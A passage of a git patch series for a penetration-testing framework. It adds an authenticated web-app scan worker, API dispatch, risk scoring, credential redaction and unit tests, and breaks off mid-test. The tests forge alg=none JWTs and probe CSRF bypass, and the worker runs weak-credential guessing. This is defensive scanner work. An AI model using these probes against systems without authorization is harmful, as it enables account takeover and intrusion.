= MagicMock(return_value=samesite) + return cookie + + def test_cookie_insecure(self): + """Missing Secure/HttpOnly → vulnerable.""" + session = MagicMock() + session.cookies = [self._make_cookie(secure=False, httponly=False)] + probe = _make_probe(official_session=session) + + probe._test_cookie_attributes() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-04" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + + +class TestCsrfBypass(unittest.TestCase): + + def test_csrf_bypass_no_token(self): + """POST accepted without CSRF → vulnerable.""" + session = MagicMock() + session.post.return_value = _mock_response(status=200, text="Success") + probe = _make_probe( + official_session=session, + workflow_endpoints=[WorkflowEndpoint(path="/api/transfer/")], + ) + + probe._test_csrf_bypass() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-05" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-352", vuln[0].cwe) + + def test_csrf_bypass_rejected(self): + """POST rejected (403) → not_vulnerable.""" + session = MagicMock() + session.post.return_value = _mock_response(status=403, text="CSRF token missing") + probe = _make_probe( + official_session=session, + workflow_endpoints=[WorkflowEndpoint(path="/api/transfer/")], + ) + + probe._test_csrf_bypass() + clean = [f for f in probe.findings if f.scenario_id == "PT-A02-05" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_csrf_bypass_skips_login(self): + """Login form is not tested for CSRF.""" + session = MagicMock() + session.post.return_value = _mock_response(status=200, text="OK") + probe = _make_probe( + official_session=session, + discovered_forms=["/auth/login/", "/profile/edit/"], + login_path="/auth/login/", + ) + + probe._test_csrf_bypass() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-05" and f.status == "vulnerable"] + # Only /profile/edit/ should be tested, not /auth/login/ + if vuln: + for ev in vuln[0].evidence: + if "endpoints_without_csrf" in ev: + self.assertNotIn("/auth/login/", ev) + + +class TestSessionToken(unittest.TestCase): + + def _make_jwt(self, alg="none", payload=None, signature=""): + header = base64.urlsafe_b64encode(json.dumps({"alg": alg}).encode()).rstrip(b"=").decode() + body = base64.urlsafe_b64encode(json.dumps(payload or {}).encode()).rstrip(b"=").decode() + return f"{header}.{body}.{signature}" + + def test_session_token_jwt_alg_none(self): + """alg=none JWT → vulnerable.""" + jwt = self._make_jwt(alg="none") + session = MagicMock() + session.cookies.get_dict.return_value = {"token": jwt} + probe = _make_probe(official_session=session) + + probe._test_session_token() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-06" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + + def test_session_token_short(self): + """Short session ID → inconclusive.""" + session = MagicMock() + session.cookies.get_dict.return_value = {"sid": "abc123"} + probe = _make_probe(official_session=session) + + probe._test_session_token() + inc = [f for f in probe.findings if f.scenario_id == "PT-A02-06" and f.status == "inconclusive"] + self.assertEqual(len(inc), 1) + self.assertEqual(inc[0].severity, "LOW") + + def test_session_token_adequate(self): + """Normal tokens → not_vulnerable.""" + session = MagicMock() + session.cookies.get_dict.return_value = { + "sessionid": "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4", + } + probe = _make_probe(official_session=session) + + probe._test_session_token() + clean = [f for f in probe.findings if f.scenario_id == "PT-A02-06" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + +class TestCapabilities(unittest.TestCase): + + def test_capabilities(self): + """MisconfigProbes declares correct capabilities.""" + self.assertFalse(MisconfigProbes.requires_auth) + self.assertFalse(MisconfigProbes.requires_regular_session) + self.assertFalse(MisconfigProbes.is_stateful) + + def test_all_findings_are_graybox(self): + """All findings are GrayboxFinding instances.""" + probe = _make_probe(debug_paths=["/debug/"]) + probe.auth.anon_session.get.return_value = _mock_response(status=404, text="x") + probe._test_debug_exposure() + for f in probe.findings: + self.assertIsInstance(f, GrayboxFinding) + + +if __name__ == '__main__': + unittest.main() From 64afd578163dd3d50dcae14330fdeeab1bdc7800 Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 22:12:59 +0000 Subject: [PATCH 049/114] feat: graybox worker and API integration (phase 4) --- .../cybersec/red_mesh/graybox/worker.py | 360 +++++++++++ .../cybersec/red_mesh/mixins/report.py | 18 + .../business/cybersec/red_mesh/mixins/risk.py | 54 ++ .../cybersec/red_mesh/pentester_api_01.py | 184 ++++-- .../red_mesh/tests/test_normalization.py | 355 +++++++++++ .../cybersec/red_mesh/tests/test_worker.py | 602 ++++++++++++++++++ 6 files changed, 1529 insertions(+), 44 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/graybox/worker.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_normalization.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_worker.py diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py new file mode 100644 index 00000000..13c5b597 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -0,0 +1,360 @@ +""" +Graybox (authenticated webapp) scan worker. + +Inherits from BaseLocalWorker (Phase 0) and orchestrates: +Preflight → Authentication → Route Discovery → Probes → Weak Auth → Cleanup. +""" + +import importlib +from urllib.parse import urlparse + +from ..worker.base import BaseLocalWorker +from ..constants import GRAYBOX_PROBE_REGISTRY +from .findings import GrayboxFinding +from .auth import AuthManager +from .discovery import DiscoveryModule +from .safety import SafetyControls +from .models.target_config import GrayboxTargetConfig + +# Weak auth uses a direct import (not the registry) because it is a +# distinct pipeline phase, not a generic probe. +from .probes.business_logic import BusinessLogicProbes + + +class GrayboxLocalWorker(BaseLocalWorker): + """ + Authenticated webapp probe worker. + + Inherits from BaseLocalWorker (Phase 0), which provides: + - self.owner, self.job_id, self.initiator, self.target + - self.local_worker_id (format "RM-{prefix}-{uuid[:4]}") + - self.thread, self.stop_event (set by inherited start()) + - self.metrics (MetricsCollector instance) + - self.initial_ports (declared, subclass populates) + - self.state (declared as {}, subclass populates with full key set) + - start(), stop(), _check_stopped(), P() — all inherited, not redefined + + Uses the two-layer finding architecture: + - Probes create GrayboxFinding instances (layer 1) + - Worker stores serialized findings in state["graybox_results"] (layer 2) + - pentester_api_01.py normalizes them into flat finding dicts via + _compute_risk_and_findings() + """ + + def __init__(self, owner, job_id, target_url, job_config, + local_id="1", initiator=""): + parsed = urlparse(target_url) + + super().__init__( + owner=owner, + job_id=job_id, + initiator=initiator, + local_id_prefix=local_id, + target=parsed.hostname, + ) + + self.target_url = target_url.rstrip("/") + self.job_config = job_config + self._port = parsed.port or (443 if parsed.scheme == "https" else 80) + self._port_key = str(self._port) + + self.initial_ports = [self._port] + + self.target_config = GrayboxTargetConfig.from_dict( + job_config.target_config or {} + ) + + # Modules (composition) + self.safety = SafetyControls( + request_delay=job_config.scan_min_delay or None, + target_is_local=SafetyControls.is_local_target(target_url), + ) + self.auth = AuthManager( + target_url=self.target_url, + target_config=self.target_config, + verify_tls=job_config.verify_tls, + ) + self.discovery = DiscoveryModule( + target_url=self.target_url, + auth_manager=self.auth, + safety=self.safety, + target_config=self.target_config, + ) + + self.state = { + "job_id": job_id, + "initiator": initiator, + "target": parsed.hostname, + "scan_type": "webapp", + "target_url": self.target_url, + "open_ports": [self._port], + "ports_scanned": [self._port], + "port_protocols": {self._port_key: parsed.scheme}, + "service_info": {}, + "web_tests_info": {}, + "correlation_findings": [], + "graybox_results": {}, + "completed_tests": [], + "done": False, + "canceled": False, + } + self._phase = "" + + # start(), stop(), _check_stopped(), P() are ALL inherited from + # BaseLocalWorker. NOT redefined here. + + def get_status(self, for_aggregations=False): + """Return worker state for aggregation by pentester_api_01.py.""" + status = dict(self.state) + status["scan_metrics"] = self.metrics.build().to_dict() + status["scenario_stats"] = self._compute_scenario_stats() + + if not for_aggregations: + status["local_worker_id"] = self.local_worker_id + status["done"] = self.state["done"] + status["canceled"] = self.state["canceled"] + status["progress"] = self._phase or "initializing" + + return status + + def execute_job(self): + """Preflight → Auth → Discover → Probes → Weak Auth → Cleanup → Done.""" + routes, forms = [], [] + self.metrics.start_scan(1) + try: + # ── Phase 0: Preflight ── + self._set_phase("preflight") + self.metrics.phase_start("preflight") + target_error = self.safety.validate_target( + self.target_url, self.job_config.authorized, + ) + if target_error: + self._record_fatal(target_error) + return + + preflight_error = self.auth.preflight_check() + if preflight_error: + self._record_fatal(preflight_error) + return + + if not self.job_config.verify_tls: + self.P( + f"WARNING: TLS verification disabled for {self.target_url}. " + "Credentials may be intercepted by a MITM attacker.", color='y' + ) + self._store_findings("_graybox_preflight", [GrayboxFinding( + scenario_id="PREFLIGHT-TLS", + title="TLS verification disabled", + status="inconclusive", + severity="LOW", + owasp="A02:2021", + cwe=["CWE-295"], + evidence=[f"verify_tls=False", f"target={self.target_url}"], + remediation="Enable TLS verification or use a trusted certificate.", + )]) + + self.metrics.phase_end("preflight") + + # ── Phase 1: Authentication ── + self._set_phase("authentication") + self.metrics.phase_start("authentication") + official_creds = { + "username": self.job_config.official_username, + "password": self.job_config.official_password, + } + regular_creds = None + if self.job_config.regular_username: + regular_creds = { + "username": self.job_config.regular_username, + "password": self.job_config.regular_password, + } + + auth_ok = self.auth.authenticate(official_creds, regular_creds) + self._store_auth_results() + self.state["completed_tests"].append("graybox_auth") + self.metrics.phase_end("authentication") + + if not auth_ok: + self._record_fatal("Official authentication failed. Cannot proceed with graybox scan.") + return + + # ── Phase 2: Route discovery ── + if not self._check_stopped(): + self._set_phase("discovery") + self.metrics.phase_start("discovery") + self.auth.ensure_sessions(official_creds, regular_creds) + routes, forms = self.discovery.discover( + known_routes=self.job_config.app_routes, + ) + self._store_discovery_results(routes, forms) + self.state["completed_tests"].append("graybox_discovery") + self.metrics.phase_end("discovery") + + # ── Phase 3: Probes ── + if not self._check_stopped(): + self._set_phase("graybox_probes") + self.metrics.phase_start("graybox_probes") + self.auth.ensure_sessions(official_creds, regular_creds) + + probe_kwargs = dict( + target_url=self.target_url, + auth_manager=self.auth, + target_config=self.target_config, + safety=self.safety, + discovered_routes=routes, + discovered_forms=forms, + regular_username=self.job_config.regular_username, + allow_stateful=self.job_config.allow_stateful_probes, + ) + + graybox_excluded = "graybox" in (self.job_config.excluded_features or []) + + if not graybox_excluded: + for entry in GRAYBOX_PROBE_REGISTRY: + if self._check_stopped(): + break + + probe_cls = self._import_probe(entry["cls"]) + store_key = entry["key"] + + # Capability-based skip checks — read from the class itself + if probe_cls.is_stateful and not self.job_config.allow_stateful_probes: + self._store_findings(store_key, [GrayboxFinding( + scenario_id=f"SKIP-{store_key}", + title="Probe skipped: stateful probes disabled", + status="inconclusive", severity="INFO", owasp="", + evidence=["stateful_probes_disabled=True"], + )]) + continue + if probe_cls.requires_regular_session and not self.auth.regular_session: + continue + if probe_cls.requires_auth and not self.auth.official_session: + continue + + self.auth.ensure_sessions(official_creds, regular_creds) + + try: + findings = probe_cls(**probe_kwargs).run() + self._store_findings(store_key, findings) + except Exception as exc: + self._record_probe_error(store_key, exc) + + self.state["completed_tests"].append("graybox_probes") + self.metrics.phase_end("graybox_probes") + + # ── Phase 4: Weak auth (optional) ── + if not self._check_stopped() and self.job_config.weak_candidates: + self._set_phase("weak_auth") + self.metrics.phase_start("weak_auth") + self.auth.ensure_sessions(official_creds, regular_creds) + bl_probe = BusinessLogicProbes( + **dict(probe_kwargs, allow_stateful=False), + ) + weak_findings = bl_probe.run_weak_auth( + self.job_config.weak_candidates, + self.job_config.max_weak_attempts, + ) + self._store_findings("_graybox_weak_auth", weak_findings) + self.state["completed_tests"].append("graybox_weak_auth") + self.metrics.phase_end("weak_auth") + + except Exception as exc: + self._record_fatal(self.safety.sanitize_error(str(exc))) + finally: + self.auth.cleanup() + self.metrics.phase_end(self._phase) + self.state["done"] = True + + def _store_findings(self, key, findings): + """Store GrayboxFinding dicts in graybox_results under the port key.""" + port_results = self.state["graybox_results"].setdefault(self._port_key, {}) + port_results[key] = { + "findings": [f.to_dict() for f in findings], + } + + def _store_auth_results(self): + port_info = self.state["service_info"].setdefault(self._port_key, {}) + port_info["_graybox_auth"] = { + "official_success": self.auth.official_session is not None, + "regular_success": self.auth.regular_session is not None, + "auth_errors": list(self.auth._auth_errors), + "findings": [], + } + + def _store_discovery_results(self, routes, forms): + port_info = self.state["service_info"].setdefault(self._port_key, {}) + port_info["_graybox_discovery"] = { + "routes": routes, + "forms": forms, + "findings": [], + } + + def _record_fatal(self, message): + """Record unrecoverable error as a GrayboxFinding.""" + self._store_findings("_graybox_fatal", [GrayboxFinding( + scenario_id="FATAL", + title="Scan aborted", + status="inconclusive", + severity="INFO", + owasp="", + evidence=[f"error={message}"], + error=message, + )]) + + def _record_probe_error(self, store_key, exc): + """Record per-probe error without killing the scan.""" + sanitized = self.safety.sanitize_error(str(exc)) + self._store_findings(store_key, [GrayboxFinding( + scenario_id=f"ERR-{store_key}", + title=f"Probe error: {store_key}", + status="inconclusive", + severity="INFO", + owasp="", + evidence=[f"error={sanitized}"], + error=sanitized, + )]) + + @staticmethod + def _import_probe(cls_path): + """Dynamically import a probe class from the registry.""" + module_name, class_name = cls_path.rsplit(".", 1) + full_module = f"..probes.{module_name}" + mod = importlib.import_module(full_module, package=__name__) + return getattr(mod, class_name) + + def _set_phase(self, phase): + self._phase = phase + + def _compute_scenario_stats(self): + """Compute scenario stats from graybox_results.""" + stats = { + "total": 0, "vulnerable": 0, "not_vulnerable": 0, + "inconclusive": 0, "error": 0, + } + for port_key, probes in self.state["graybox_results"].items(): + for probe_key, probe_data in probes.items(): + for finding in probe_data.get("findings", []): + status = finding.get("status", "") + if not status: + continue + stats["total"] += 1 + if status in stats: + stats[status] += 1 + else: + stats["error"] += 1 + return stats + + @staticmethod + def get_worker_specific_result_fields(): + """Register graybox_results for aggregation.""" + return { + "graybox_results": dict, + "service_info": dict, + "web_tests_info": dict, + "open_ports": list, + "completed_tests": list, + "port_protocols": dict, + "correlation_findings": list, + "scan_metrics": dict, + "ports_scanned": list, + } diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index 1e2050bf..205158c6 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -175,6 +175,24 @@ def _redact_report(self, report): _re.sub(r'^(\S+?):(.+)$', r'\1:***', c) if isinstance(c, str) else c for c in creds ] + # Redact graybox_results credential evidence + _CRED_RE = _re.compile(r'(\S+?):(\S+)') + graybox_results = redacted.get("graybox_results", {}) + for port_key, probes in graybox_results.items(): + if not isinstance(probes, dict): + continue + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + for finding in probe_data.get("findings", []): + if not isinstance(finding, dict): + continue + evidence = finding.get("evidence", []) + if isinstance(evidence, list): + finding["evidence"] = [ + _CRED_RE.sub(r'\1:***', e) if isinstance(e, str) else e + for e in evidence + ] return redacted @staticmethod diff --git a/extensions/business/cybersec/red_mesh/mixins/risk.py b/extensions/business/cybersec/red_mesh/mixins/risk.py index b222b574..62133226 100644 --- a/extensions/business/cybersec/red_mesh/mixins/risk.py +++ b/extensions/business/cybersec/red_mesh/mixins/risk.py @@ -85,6 +85,29 @@ def process_findings(findings_list): if isinstance(correlation_findings, list): process_findings(correlation_findings) + # A. Iterate graybox_results — uses GrayboxFinding.to_flat_finding() + from ..graybox.findings import GrayboxFinding as _GF + graybox_results = aggregated_report.get("graybox_results", {}) + for port_key, probes in graybox_results.items(): + if not isinstance(probes, dict): + continue + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + for finding_dict in probe_data.get("findings", []): + if not isinstance(finding_dict, dict): + continue + try: + gf = _GF(**{k: v for k, v in finding_dict.items() if k in _GF.__dataclass_fields__}) + except (TypeError, KeyError): + continue + flat = gf.to_flat_finding(0, "unknown", probe_name) + weight = RISK_SEVERITY_WEIGHTS.get(flat["severity"], 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(flat["confidence"], 0.5) + findings_score += weight * multiplier + if flat["severity"] in finding_counts: + finding_counts[flat["severity"]] += 1 + # B. Open ports — diminishing returns: 15 × (1 - e^(-ports/8)) open_ports = aggregated_report.get("open_ports", []) nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 @@ -212,6 +235,37 @@ def parse_port(port_key): if isinstance(correlation_findings, list): process_findings(correlation_findings, 0, "_correlation", "correlation") + # Walk graybox_results — delegates to GrayboxFinding.to_flat_finding() + from ..graybox.findings import GrayboxFinding as _GF + graybox_results = aggregated_report.get("graybox_results", {}) + for port_key, probes in graybox_results.items(): + if not isinstance(probes, dict): + continue + port = parse_port(port_key) + protocol = port_protocols.get(str(port), "unknown") + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + for finding_dict in probe_data.get("findings", []): + if not isinstance(finding_dict, dict): + continue + try: + gf = _GF(**{k: v for k, v in finding_dict.items() if k in _GF.__dataclass_fields__}) + except (TypeError, KeyError): + continue + flat = gf.to_flat_finding(port, protocol, probe_name) + + weight = RISK_SEVERITY_WEIGHTS.get(flat["severity"], 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(flat["confidence"], 0.5) + findings_score += weight * multiplier + if flat["severity"] in finding_counts: + finding_counts[flat["severity"]] += 1 + title = flat.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + + flat_findings.append(flat) + # B. Open ports — diminishing returns open_ports = aggregated_report.get("open_ports", []) nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index bfa88c21..00445781 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -34,6 +34,7 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .worker import PentestLocalWorker +from .graybox.worker import GrayboxLocalWorker from .mixins import ( _RedMeshLlmAgentMixin, _AttestationMixin, _RiskScoringMixin, _ReportMixin, _LiveProgressMixin, @@ -44,6 +45,7 @@ ) from .constants import ( FEATURE_CATALOG, + ScanType, JOB_STATUS_RUNNING, JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, @@ -66,6 +68,29 @@ PHASE_MARKERS, ) +# Worker dispatch table — maps ScanType to worker class. +# Adding a new scan type = new entry here + new worker class. +WORKER_DISPATCH = { + ScanType.NETWORK: PentestLocalWorker, + ScanType.WEBAPP: GrayboxLocalWorker, +} + +# Human-readable phase labels for progress reporting +PHASE_LABELS = { + # blackbox + "port_scan": "Scanning ports", + "fingerprint": "Fingerprinting services", + "service_probes": "Running service probes", + "web_tests": "Testing web vulnerabilities", + "correlation": "Correlating findings", + # graybox + "preflight": "Checking target", + "authentication": "Authenticating", + "discovery": "Discovering routes", + "graybox_probes": "Running application probes", + "weak_auth": "Testing credentials", +} + __VER__ = '0.9.0' @@ -621,50 +646,76 @@ def _maybe_launch_jobs(self, nr_local_workers=None): end_port = 65535 # Fetch job config from R1FS job_config = self._get_job_config(job_specs) - exceptions = job_config.get("exceptions", []) - if not isinstance(exceptions, list): - exceptions = [] - port_order = job_config.get("port_order", self.cfg_port_order) - excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) - enabled_features = job_config.get("enabled_features", []) - scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) - scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) - ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) - scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) - scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_from_spec = job_config.get("nr_local_workers") - if nr_local_workers is not None: - workers_requested = nr_local_workers - elif workers_from_spec is not None and int(workers_from_spec) > 0: - workers_requested = int(workers_from_spec) + job_scan_type = job_config.get("scan_type", "network") + + # Webapp dispatch: single GrayboxLocalWorker + if job_scan_type == ScanType.WEBAPP.value: + try: + job_config_obj = JobConfig.from_dict(job_config) + worker = GrayboxLocalWorker( + owner=self, + job_id=job_id, + target_url=job_config_obj.target_url, + job_config=job_config_obj, + local_id="1", + initiator=launcher, + ) + if job_id not in self.scan_jobs: + self.scan_jobs[job_id] = {} + self.scan_jobs[job_id][worker.local_worker_id] = worker + worker.start() + except Exception as exc: + self.P(f"Skipping webapp job {job_id}: {exc}", color='r') + worker_entry["finished"] = True + worker_entry["error"] = str(exc) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + continue else: - workers_requested = self.cfg_nr_local_workers - self.P("Using {} local workers for job {}".format(workers_requested, job_id)) - try: - local_jobs = self._launch_job( - job_id=job_id, - target=target, - start_port=start_port, - end_port=end_port, - network_worker_address=launcher, - nr_local_workers=workers_requested, - exceptions=exceptions, - port_order=port_order, - excluded_features=excluded_features, - enabled_features=enabled_features, - scan_min_delay=scan_min_delay, - scan_max_delay=scan_max_delay, - ics_safe_mode=ics_safe_mode, - scanner_identity=scanner_identity, - scanner_user_agent=scanner_user_agent, - ) - except ValueError as exc: - self.P(f"Skipping job {job_id}: {exc}", color='r') - worker_entry["finished"] = True - worker_entry["error"] = str(exc) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - continue - self.scan_jobs[job_id] = local_jobs + # Network dispatch: multi-worker PentestLocalWorker + exceptions = job_config.get("exceptions", []) + if not isinstance(exceptions, list): + exceptions = [] + port_order = job_config.get("port_order", self.cfg_port_order) + excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) + enabled_features = job_config.get("enabled_features", []) + scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) + scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) + ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) + scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) + scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) + workers_from_spec = job_config.get("nr_local_workers") + if nr_local_workers is not None: + workers_requested = nr_local_workers + elif workers_from_spec is not None and int(workers_from_spec) > 0: + workers_requested = int(workers_from_spec) + else: + workers_requested = self.cfg_nr_local_workers + self.P("Using {} local workers for job {}".format(workers_requested, job_id)) + try: + local_jobs = self._launch_job( + job_id=job_id, + target=target, + start_port=start_port, + end_port=end_port, + network_worker_address=launcher, + nr_local_workers=workers_requested, + exceptions=exceptions, + port_order=port_order, + excluded_features=excluded_features, + enabled_features=enabled_features, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + ) + except ValueError as exc: + self.P(f"Skipping job {job_id}: {exc}", color='r') + worker_entry["finished"] = True + worker_entry["error"] = str(exc) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + continue + self.scan_jobs[job_id] = local_jobs #endif need to launch new job #end for each potential new job #endif it is time to check @@ -1532,6 +1583,19 @@ def launch_test( created_by_name: str = "", created_by_id: str = "", nr_local_workers: int = 0, + # ── graybox params ── + scan_type: str = "network", + target_url: str = "", + official_username: str = "", + official_password: str = "", + regular_username: str = "", + regular_password: str = "", + weak_candidates: list[str] = None, + max_weak_attempts: int = 5, + app_routes: list[str] = None, + verify_tls: bool = True, + target_config: dict = None, + allow_stateful_probes: bool = False, ): """ Start a pentest on the specified target. @@ -1587,7 +1651,7 @@ def launch_test( ValueError If no target is provided or if selected_peers contains invalid addresses. """ - # INFO: This method only announces the job to the network. It does not + # INFO: This method only announces the job to the network. It does not # execute the job itself - that part is handled by PentestJob # executed after periodical check from plugin process. if not authorized: @@ -1595,6 +1659,24 @@ def launch_test( "Scan authorization required. Confirm you are authorized to scan this target." ) + # Validate scan_type + try: + scan_type_enum = ScanType(scan_type) + except ValueError: + return {"error": f"Invalid scan_type: {scan_type}. Valid: {[e.value for e in ScanType]}"} + + # Webapp-specific validation + if scan_type_enum == ScanType.WEBAPP: + if not target_url: + return {"error": "target_url required for webapp scan"} + if not official_username or not official_password: + return {"error": "official credentials required for webapp scan"} + from urllib.parse import urlparse as _urlparse + parsed = _urlparse(target_url) + target = parsed.hostname + nr_local_workers = 1 + start_port = end_port = parsed.port or (443 if parsed.scheme == "https" else 80) + if excluded_features is None: excluded_features = self.cfg_excluded_features or [] if not target: @@ -1749,6 +1831,19 @@ def launch_test( created_by_name=created_by_name or "", created_by_id=created_by_id or "", authorized=True, + # graybox fields + scan_type=scan_type, + target_url=target_url, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, ) config_dict = job_config.to_dict() if job_config.redact_credentials: @@ -1763,6 +1858,7 @@ def launch_test( # Listing fields (duplicated from config for zero-fetch listing) "target": target, "task_name": task_name, + "scan_type": scan_type, "start_port" : start_port, "end_port" : end_port, "risk_score": 0, diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py new file mode 100644 index 00000000..81e24935 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -0,0 +1,355 @@ +"""Tests for graybox normalization, dispatch, and redaction.""" + +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker +from extensions.business.cybersec.red_mesh.worker import PentestLocalWorker +from extensions.business.cybersec.red_mesh.constants import ScanType + + +def _make_graybox_report(findings_dicts, port="443"): + """Build a minimal aggregated report with graybox_results.""" + return { + "open_ports": [int(port)], + "port_protocols": {port: "https"}, + "service_info": {}, + "web_tests_info": {}, + "correlation_findings": [], + "graybox_results": { + port: { + "_graybox_test": {"findings": findings_dicts}, + }, + }, + } + + +def _make_mixin(): + """Create a mock host with risk scoring mixin.""" + from extensions.business.cybersec.red_mesh.mixins.risk import _RiskScoringMixin + + class MockHost(_RiskScoringMixin): + pass + + return MockHost() + + +class TestGrayboxNormalization(unittest.TestCase): + + def test_graybox_results_normalized(self): + """GrayboxFinding dicts → flat finding dicts.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="IDOR detected", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-639"], + evidence=["endpoint=/api/records/99/", "owner=bob"], + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + risk, flat_findings = host._compute_risk_and_findings(report) + + self.assertEqual(len(flat_findings), 1) + f = flat_findings[0] + self.assertEqual(f["scenario_id"], "PT-A01-01") + self.assertEqual(f["severity"], "HIGH") + self.assertEqual(f["category"], "graybox") + self.assertIn("finding_id", f) + + def test_not_vulnerable_zero_score(self): + """status=not_vulnerable contributes zero risk.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="No IDOR", + status="not_vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + risk, flat_findings = host._compute_risk_and_findings(report) + + # not_vulnerable → severity overridden to INFO → zero weight + f = flat_findings[0] + self.assertEqual(f["severity"], "INFO") + self.assertEqual(f["confidence"], "firm") + # Score should be minimal (only open_ports and breadth contribute) + self.assertLess(risk["breakdown"]["findings_score"], 0.1) + + def test_vulnerable_certain_confidence(self): + """status=vulnerable → confidence=certain.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="IDOR", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["confidence"], "certain") + + def test_inconclusive_tentative(self): + """status=inconclusive → confidence=tentative.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Might be IDOR", + status="inconclusive", + severity="MEDIUM", + owasp="A01:2021", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["confidence"], "tentative") + + def test_evidence_joined(self): + """List evidence joined with '; '.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Test", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + evidence=["a=1", "b=2"], + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["evidence"], "a=1; b=2") + + def test_cwe_joined(self): + """List CWEs joined with ', '.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Test", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-639", "CWE-862"], + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["cwe_id"], "CWE-639, CWE-862") + + def test_blackbox_and_graybox_combined(self): + """Both sections walked, all in flat_findings.""" + gf = GrayboxFinding( + scenario_id="PT-A01-01", + title="IDOR", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + report = { + "open_ports": [443], + "port_protocols": {"443": "https"}, + "service_info": { + "443": { + "_service_info_https": { + "findings": [ + {"title": "Weak TLS", "severity": "MEDIUM", "confidence": "firm"}, + ], + }, + }, + }, + "web_tests_info": {}, + "correlation_findings": [], + "graybox_results": { + "443": { + "_graybox_test": {"findings": [gf.to_dict()]}, + }, + }, + } + host = _make_mixin() + _, flat_findings = 